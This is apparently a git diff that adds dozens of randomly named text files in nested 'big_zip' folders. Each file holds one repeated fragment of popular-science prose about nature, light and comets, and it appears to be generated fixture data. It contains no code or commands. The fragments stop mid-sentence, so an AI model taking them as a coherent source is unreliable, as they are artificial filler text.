+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_ottknknzhueezpznmbhwq.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_ouznudgmbso.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_ouznudgmbso.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_ouznudgmbso.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_spvdsrqjxxdwgbc.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_spvdsrqjxxdwgbc.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_spvdsrqjxxdwgbc.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_suieeucjqww.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_suieeucjqww.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_suieeucjqww.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_tsqegbnbyzn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_tsqegbnbyzn.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_tsqegbnbyzn.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_uxqfwxbkr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_uxqfwxbkr.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_uxqfwxbkr.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/file_vmcelsdaumjgrvwqzagurb.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/file_vmcelsdaumjgrvwqzagurb.txt
new file mode 100644
index 0000000..67db8de
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/file_vmcelsdaumjgrvwqzagurb.txt
@@ -0,0 +1 @@
+have, self-correcting, ongoing, applicable to everything. It has two rules. First: there are no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_aigzfwixme.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_aigzfwixme.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_aigzfwixme.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_apaxrfpjkvsgmqxwr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_apaxrfpjkvsgmqxwr.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_apaxrfpjkvsgmqxwr.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_ereatynmywtymoqzvi.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_ereatynmywtymoqzvi.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_ereatynmywtymoqzvi.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_hpjjbitvtwavdlrjc.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_hpjjbitvtwavdlrjc.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_hpjjbitvtwavdlrjc.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_jtawekopnswmnewzgmewbue.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_jtawekopnswmnewzgmewbue.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_jtawekopnswmnewzgmewbue.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lbkpunevajvmpxnexohm.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lbkpunevajvmpxnexohm.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lbkpunevajvmpxnexohm.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lftyipugivs.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lftyipugivs.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_lftyipugivs.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_onmrmqcasyp.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_onmrmqcasyp.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_onmrmqcasyp.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qgtmfbnh.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qgtmfbnh.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qgtmfbnh.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qvdrcrgejlwxumjzhyn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qvdrcrgejlwxumjzhyn.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qvdrcrgejlwxumjzhyn.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qxhrckztifkfbfoykqlsapn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qxhrckztifkfbfoykqlsapn.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_qxhrckztifkfbfoykqlsapn.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_rptznlcdipgecc.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_rptznlcdipgecc.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_rptznlcdipgecc.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_teqyehshcvgddskt.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_teqyehshcvgddskt.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_teqyehshcvgddskt.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_uvtxgccuizqogtnoroifnq.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_uvtxgccuizqogtnoroifnq.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_uvtxgccuizqogtnoroifnq.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_wmkdbwcdcsgbf.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_wmkdbwcdcsgbf.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_wmkdbwcdcsgbf.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_xuzejernvjbohljbnrqt.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_xuzejernvjbohljbnrqt.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_xuzejernvjbohljbnrqt.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_zwfqbewbw.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_zwfqbewbw.txt
new file mode 100644
index 0000000..3ac14e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/file_zwfqbewbw.txt
@@ -0,0 +1 @@
+Every aspect of Nature reveals a deep mystery and touches our sense of wonder and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_bienaxewcsn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_bienaxewcsn.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_bienaxewcsn.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cwbtiqthdsgpixpyblhifk.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cwbtiqthdsgpixpyblhifk.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cwbtiqthdsgpixpyblhifk.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cycfjfdnokzemfi.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cycfjfdnokzemfi.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_cycfjfdnokzemfi.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_czlugwzmstedz.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_czlugwzmstedz.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_czlugwzmstedz.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ghzscftvgqifczzquaekjui.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ghzscftvgqifczzquaekjui.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ghzscftvgqifczzquaekjui.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ibyryorhulhrfgbnl.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ibyryorhulhrfgbnl.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ibyryorhulhrfgbnl.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ivfbeegyogmjegdr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ivfbeegyogmjegdr.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ivfbeegyogmjegdr.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_kgwmbfksppgmayhstls.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_kgwmbfksppgmayhstls.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_kgwmbfksppgmayhstls.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_lvyooabemxphswthotdig.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_lvyooabemxphswthotdig.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_lvyooabemxphswthotdig.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_mgzrckksmwufgy.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_mgzrckksmwufgy.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_mgzrckksmwufgy.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_pnkqigaxcvxdruqxdfmxx.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_pnkqigaxcvxdruqxdfmxx.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_pnkqigaxcvxdruqxdfmxx.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_rhjsmxlkxyrenncqulduwhko.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_rhjsmxlkxyrenncqulduwhko.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_rhjsmxlkxyrenncqulduwhko.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sndakwrzwiqokucnd.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sndakwrzwiqokucnd.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sndakwrzwiqokucnd.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sovqnyzeza.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sovqnyzeza.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_sovqnyzeza.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ubqyrwwoijzmvzw.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ubqyrwwoijzmvzw.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_ubqyrwwoijzmvzw.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_usryyyfikrlxaplyfhwqozrj.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_usryyyfikrlxaplyfhwqozrj.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_usryyyfikrlxaplyfhwqozrj.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_vdxpbgjkbwyamwwtllq.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_vdxpbgjkbwyamwwtllq.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_vdxpbgjkbwyamwwtllq.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_yylyxuumrrutewaanyeodw.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_yylyxuumrrutewaanyeodw.txt
new file mode 100644
index 0000000..8407736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/file_yylyxuumrrutewaanyeodw.txt
@@ -0,0 +1 @@
+of the refraction of light.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/dvhiaqvswzdifw.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/dvhiaqvswzdifw.txt
new file mode 100644
index 0000000..21480a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/dvhiaqvswzdifw.txt
@@ -0,0 +1 @@
+animals shall live and which shall die for thousands of years. We are surrounded from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/ehutazpfoloajcmpwzcy.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/ehutazpfoloajcmpwzcy.txt
new file mode 100644
index 0000000..c453311
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/ehutazpfoloajcmpwzcy.txt
@@ -0,0 +1 @@
+tends to find itself, once every century or so, careering toward the inner solar system.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/exdhhefxerrnn.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/exdhhefxerrnn.txt
new file mode 100644
index 0000000..f0407e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/exdhhefxerrnn.txt
@@ -0,0 +1 @@
+The periodic passage of the solar system through spiral arms may conceivably have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_aybzeswykzouulkptxnucr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_aybzeswykzouulkptxnucr.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_aybzeswykzouulkptxnucr.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_clowkufiivgethhngr.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_clowkufiivgethhngr.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_clowkufiivgethhngr.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_ekifxkyziha.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_ekifxkyziha.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_ekifxkyziha.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_fdjxejbwcupsao.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_fdjxejbwcupsao.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_fdjxejbwcupsao.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_hpcpzghwfdjdhgkm.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_hpcpzghwfdjdhgkm.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_hpcpzghwfdjdhgkm.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_jremzoqoxjghyzmggepv.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_jremzoqoxjghyzmggepv.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_jremzoqoxjghyzmggepv.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_mydpexvbnpjwukdcgmbpon.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_mydpexvbnpjwukdcgmbpon.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_mydpexvbnpjwukdcgmbpon.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_riwfkbbngnredcxm.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_riwfkbbngnredcxm.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_riwfkbbngnredcxm.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_sfbwftzearhcmx.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_sfbwftzearhcmx.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_sfbwftzearhcmx.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_uivsbjuwmfkpmcxdg.txt b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_uivsbjuwmfkpmcxdg.txt
new file mode 100644
index 0000000..f891d1d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ntjgibnjmx/folder_czskzbubgy/folder_erjqbqknyk/folder_efzybbokvw/file_uivsbjuwmfkpmcxdg.txt
@@ -0,0 +1 @@
+There is another thought that one of us had. His thought is that night is a great
\ No newline at end of file
